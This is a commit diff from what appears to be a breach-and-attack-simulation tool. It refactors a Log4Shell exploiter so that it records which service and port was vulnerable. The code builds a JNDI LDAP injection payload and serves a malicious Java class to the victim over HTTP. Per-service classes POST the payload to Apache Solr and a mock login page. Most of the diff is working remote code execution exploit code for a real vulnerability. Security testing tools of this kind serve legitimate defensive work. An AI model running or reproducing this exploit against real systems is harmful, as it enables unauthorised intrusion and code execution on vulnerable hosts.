Agent: report vulnerable port and service in log4shell

Refactor log4shell.py and related service exploiters to adhere to IExploitableService interface and save which service on which port was vulnerable to log4shell
This commit is contained in:
vakarisz 2022-01-05 17:43:28 +02:00
parent 5ac6d12fe9
commit 09988b0f80
9 changed files with 95 additions and 63 deletions

View File

@ -2,6 +2,7 @@ import http.client
import http.server
import logging
from threading import Thread
from time import sleep
from common.utils.exploit_enum import ExploitType
from infection_monkey.exploit.log4shell_utils import (
@ -9,8 +10,8 @@ from infection_monkey.exploit.log4shell_utils import (
WINDOWS_EXPLOIT_TEMPLATE_PATH,
LDAPExploitServer,
build_exploit_bytecode,
get_log4shell_service_exploiters,
)
from infection_monkey.exploit.log4shell_utils.requests import exploits
from infection_monkey.exploit.tools.helpers import get_monkey_depth
from infection_monkey.exploit.tools.http_tools import HTTPTools
from infection_monkey.exploit.web_rce import WebRCE
@ -33,6 +34,7 @@ class Log4ShellExploiter(WebRCE):
EXPLOIT_TYPE = ExploitType.VULNERABILITY
_EXPLOITED_SERVICE = "Log4j"
DOWNLOAD_TIMEOUT = 15
REQUEST_TO_VICTIM_TIME = 5 # How long the request from victim to monkey might take. In seconds
def __init__(self, host: VictimHost):
super().__init__(host)
@ -67,13 +69,8 @@ class Log4ShellExploiter(WebRCE):
ldap_thread = ldap.get_run_thread()
ldap_thread.start()
# Try to exploit all services,
# because we don't know which services are running and on which ports
open_ports = [
port[0] for port in WebRCE.get_open_service_ports(self.host, self.HTTP, ["http"])
]
for exploit in exploits:
exploit(payload=self.build_ldap_payload(), host=self.host, open_ports=open_ports)
self._trigger_exploit()
http_thread.join(Log4ShellExploiter.DOWNLOAD_TIMEOUT)
http_thread.stop()
@ -86,6 +83,26 @@ class Log4ShellExploiter(WebRCE):
# If java class was downloaded it means that victim is vulnerable
return Log4ShellExploiter.HTTPHandler.class_downloaded
def _trigger_exploit(self):
# Try to exploit all services,
# because we don't know which services are running and on which ports
open_ports = [
int(port[0]) for port in WebRCE.get_open_service_ports(self.host, self.HTTP, ["http"])
]
for exploit in get_log4shell_service_exploiters():
for port in open_ports:
exploit.trigger_exploit(self.build_ldap_payload(), self.host, port)
# Wait for request
sleep(Log4ShellExploiter.REQUEST_TO_VICTIM_TIME)
if Log4ShellExploiter.HTTPHandler.class_downloaded:
self.exploit_info["vulnerable_service"] = {
"service_name": exploit.service_name,
"port": port,
}
return
def build_ldap_payload(self):
interface_ip = get_interface_to_target(self.host.ip_addr)
return f"${{jndi:ldap://{interface_ip}:{self.ldap_port}/dn=Exploit}}"
@ -127,13 +144,13 @@ class Log4ShellExploiter(WebRCE):
stop = False
def do_GET(self):
Log4ShellExploiter.HTTPHandler.class_downloaded = True
logger.info("Java class servergot a GET request!")
self.send_response(200)
self.send_header("Content-type", "application/octet-stream")
self.end_headers()
logger.info("Sending the payload class!")
self.wfile.write(self.java_class)
Log4ShellExploiter.HTTPHandler.class_downloaded = True
def _run_class_http_server(self, ip):
server = http.server.HTTPServer(

View File

@ -5,3 +5,4 @@ from .exploit_builder import (
WINDOWS_EXPLOIT_TEMPLATE_PATH,
)
from .ldap_server import LDAPExploitServer
from .service_exploiters import get_log4shell_service_exploiters

View File

@ -1,4 +0,0 @@
from .poc_docker import trigger_exploit as exploit_poc
from .solr import trigger_exploit as exploit_solr
exploits = [exploit_poc, exploit_solr]

View File

@ -1,25 +0,0 @@
from logging import getLogger
from typing import List
import requests
from infection_monkey.model import VictimHost
logger = getLogger(__name__)
def trigger_exploit(payload: str, host: VictimHost, open_ports: List[int]):
urls = build_urls(open_ports, host)
payload = {"uname": payload, "password": "m0nk3y"}
for url in urls:
try:
resp = requests.post(url, data=payload, timeout=5, verify=False) # noqa DUO123
except requests.ReadTimeout as e:
logger.debug(f"Log4shell request failed {e}")
def build_urls(open_ports: List[int], host: VictimHost) -> List[str]:
urls = []
for port in open_ports:
urls.append(f"http://{host.ip_addr}:{port}/login")
return urls

View File

@ -1,25 +0,0 @@
from logging import getLogger
from typing import List
import requests
from infection_monkey.model import VictimHost
logger = getLogger(__name__)
def trigger_exploit(payload: str, host: VictimHost, open_ports: List[int]):
urls = build_urls(open_ports, host)
payload = {"foo": payload}
for url in urls:
try:
resp = requests.post(url, data=payload, timeout=5, verify=False) # noqa DUO123
except requests.ReadTimeout as e:
logger.debug(f"Log4shell request failed {e}")
def build_urls(open_ports: List[int], host: VictimHost) -> List[str]:
urls = []
for port in open_ports:
urls.append(f"http://{host.ip_addr}:{port}/solr/admin/cores")
return urls

View File

@ -0,0 +1,9 @@
from typing import List
from .exploitable_service import IExploitableService
from .poc_docker import DockerPOCExploit
from .solr import SolrExploit
def get_log4shell_service_exploiters() -> List[IExploitableService]:
return [DockerPOCExploit(), SolrExploit()]

View File

@ -0,0 +1,16 @@
import abc
from infection_monkey.model import VictimHost
class IExploitableService(metaclass=abc.ABCMeta):
@property
@abc.abstractmethod
def service_name(self) -> str:
# Should have the name of the exploited service
pass
@staticmethod
@abc.abstractmethod
def trigger_exploit(payload: str, host: VictimHost, port: int):
raise NotImplementedError

View File

@ -0,0 +1,22 @@
from logging import getLogger
import requests
from infection_monkey.exploit.log4shell_utils.service_exploiters import IExploitableService
from infection_monkey.model import VictimHost
logger = getLogger(__name__)
class DockerPOCExploit(IExploitableService):
service_name = "GoFinance mock application"
@staticmethod
def trigger_exploit(payload: str, host: VictimHost, port: int):
url = f"http://{host.ip_addr}:{port}/login"
payload = {"uname": payload, "password": "m0nk3y"}
try:
resp = requests.post(url, data=payload, timeout=5, verify=False) # noqa DUO123
except requests.ReadTimeout as e:
logger.debug(f"Log4shell request failed {e}")

View File

@ -0,0 +1,21 @@
from logging import getLogger
import requests
from infection_monkey.exploit.log4shell_utils.service_exploiters import IExploitableService
from infection_monkey.model import VictimHost
logger = getLogger(__name__)
class SolrExploit(IExploitableService):
service_name = "Apache Solr"
@staticmethod
def trigger_exploit(payload: str, host: VictimHost, port: int):
url = f"http://{host.ip_addr}:{port}/solr/admin/cores"
payload = {"foo": payload}
try:
resp = requests.post(url, data=payload, timeout=5, verify=False) # noqa DUO123
except requests.ReadTimeout as e:
logger.debug(f"Log4shell request failed {e}")